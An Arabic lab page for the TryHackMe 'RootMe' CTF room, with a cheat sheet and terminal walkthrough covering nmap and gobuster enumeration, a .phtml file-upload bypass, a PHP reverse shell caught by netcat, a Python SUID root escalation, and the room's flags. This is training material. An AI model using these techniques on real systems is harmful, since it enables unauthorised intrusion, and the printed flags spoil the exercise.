Lab: RootMe - STYIT

عن اللاب

RootMe هي غرفة CTF مصممة للمبتدئين على TryHackMe. الهدف بسيط: Can you root me? — هتمشي من الـ Reconnaissance للـ Root في رحلة كاملة تشمل Web Exploitation عن طريق ثغرة File Upload، ثم Privilege Escalation باستخدام Python SUID.

الـ target بيشتغل على port 80 بـ Apache وport 22 بـ SSH. هتلاقي hidden directory اسمه /panel/ فيه upload form، وتاني directory اسمه /uploads/ هتنفّذ منه الـ Reverse Shell.

اللاب ده هيعلّمك File Upload Bypass — الـ server بيبلوك .php لكن هتلاقي طريقة تتجاوزها بـ extension تاني.

RootMe Badge

أكمل اللاب واحصل على الـ Badge الرسمي — أضفه لملفك على LinkedIn

مسار الهجوم — Attack Path

Reconnaissance — Nmap Scan

فحص الـ ports: بتلاقي port 22 (SSH) وport 80 (HTTP/Apache 2.4.29)

port 22port 80Apache 2.4.29

Directory Enumeration — Gobuster

فحص الـ directories: بتلاقي /panel/ (upload form) و/uploads/ (ملفاتك المرفوعة)

/panel//uploads/

File Upload Bypass — Reverse Shell

الـ server بيبلوك .php — غيّر الـ extension لـ .phtml أو .php5 ورفع الـ reverse shell

.phtml bypassNetcat listener

User Flag — /var/www/user.txt

بعد الـ shell، ابحث عن الـ user flag في /var/www/

THM{y0u_g0t_a_sh3ll}

Privilege Escalation — SUID Python

ابحث عن files بـ SUID: find / -perm /4000 — هتلاقي /usr/bin/python

SUIDGTFOBinsPython exploit

Root Flag — /root/root.txt

بعد الـ Privilege Escalation، اقرأ الـ root flag من /root/root.txt

THM{pr1v1l3g3_3sc4l4t10n}

مراحل اللاب

Nmap Recon

Dir Enum

File Upload

Reverse Shell

SUID PrivEsc

Root 🏆

أهم الأوامر — Commands Cheat Sheet

الأمر	الهدف	المرحلة
nmap -sV -sC -A <IP>	فحص الـ ports والـ services	Recon
gobuster dir -u http://<IP> -w <wl>	اكتشاف /panel/ و/uploads/	Enum
mv shell.php shell.phtml	bypass الـ PHP upload filter	Bypass
nc -lvnp 4444	فتح Netcat listener	Shell
find / -perm /4000 2>/dev/null	البحث عن SUID files	PrivEsc
python -c 'import os; os.execl("/bin/sh", "sh", "-p")'	استغلال Python SUID للـ root	Root
find / -name "user.txt" 2>/dev/null	إيجاد الـ user flag	Flag
cat /root/root.txt	قراءة الـ root flag	Flag
python3 -c 'import pty;pty.spawn("/bin/bash")'	تحسين الـ shell (TTY)	Shell

المهام والأسئلة

Task 1 — Deploy the Machine

Connect to TryHackMe VPN · Deploy the target machine

+10 XP

Task 2 — Reconnaissance

nmap scan · 2 open ports · Apache version · SSH service · Gobuster /panel/ /uploads/

+80 XP

Task 3 — Getting a Shell

Upload PHP reverse shell · Bypass .php filter (.phtml) · Netcat listener · find user.txt

+130 XP

Task 4 — Privilege Escalation

find SUID files · python /usr/bin · GTFOBins exploit · read /root/root.txt

+80 XP

▶ أدخل الـ Flag الخاص بمهمتك الحالية

Terminal — Full Attack Walkthrough

root@kali — RootMe Attack

# ── STEP 1: Nmap Scan ──────────────────────

└─# nmap -sV -sC -A 10.10.52.69

22/tcp open ssh OpenSSH 7.6p1 Ubuntu

80/tcp open http Apache httpd 2.4.29

# ── STEP 2: Gobuster ───────────────────────

└─# gobuster dir -u http://10.10.52.69 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

/panel/ (Status: 200) ← Upload form!

/uploads/ (Status: 301) ← Your files here

# ── STEP 3: Bypass .php filter ─────────────

└─# mv php-reverse-shell.php shell.phtml

└─# nc -lvnp 4444

Listening on 0.0.0.0 4444

Connection received on 10.10.52.69

$ id

uid=33(www-data) gid=33(www-data)

# ── STEP 4: SUID PrivEsc ───────────────────

$ find / -perm /4000 2>/dev/null | grep python

/usr/bin/python

$ python -c 'import os; os.execl("/bin/sh","sh","-p")'

# id

uid=33(www-data) gid=33(www-data) euid=0(root)

# cat /root/root.txt

THM{pr1v1l3g3_3sc4l4t10n}

└─#

المهارات المكتسبة

Nmap Reconnaissance

Gobuster Dir Enum

File Upload Exploit

PHP Filter Bypass

Reverse Shell (PHP)

Netcat Listener

SUID Exploitation

GTFOBins

Privilege Escalation

Shell Stabilization

الأدوات المستخدمة

nmapPort Scanning & Service Detection

gobusterDirectory Enumeration /panel/ /uploads/

pentestmonkey/php-reverse-shellPHP Reverse Shell Script

netcat (nc)Listener للـ Reverse Shell

GTFOBinsمرجع استغلال Python SUID

python ptyShell Stabilization

بعد ما تخلص اللاب، ارجع هنا وهتلاقي الـ Writeup التفصيلي متاح — حاول تحل لوحدك الأول!

تقدمك في اللاب

50%PROGRESS

2 / 4 مهام مكتملة

ابدأ اللاب على TryHackMe شوف الـ Writeup تحميل Cheat Sheet PDF

تحتاج TryHackMe VPN أو AttackBox للاتصال بالآلة

Hints

Hint 1 — Upload Bypass−10 XP

Hint 2 — تشغيل الـ Shell−20 XP

Hint 3 — Python SUID PrivEsc−30 XP

Labs مشابهة

Nmap: The Basics

Easy · TryHackMe

Gobuster: The Basics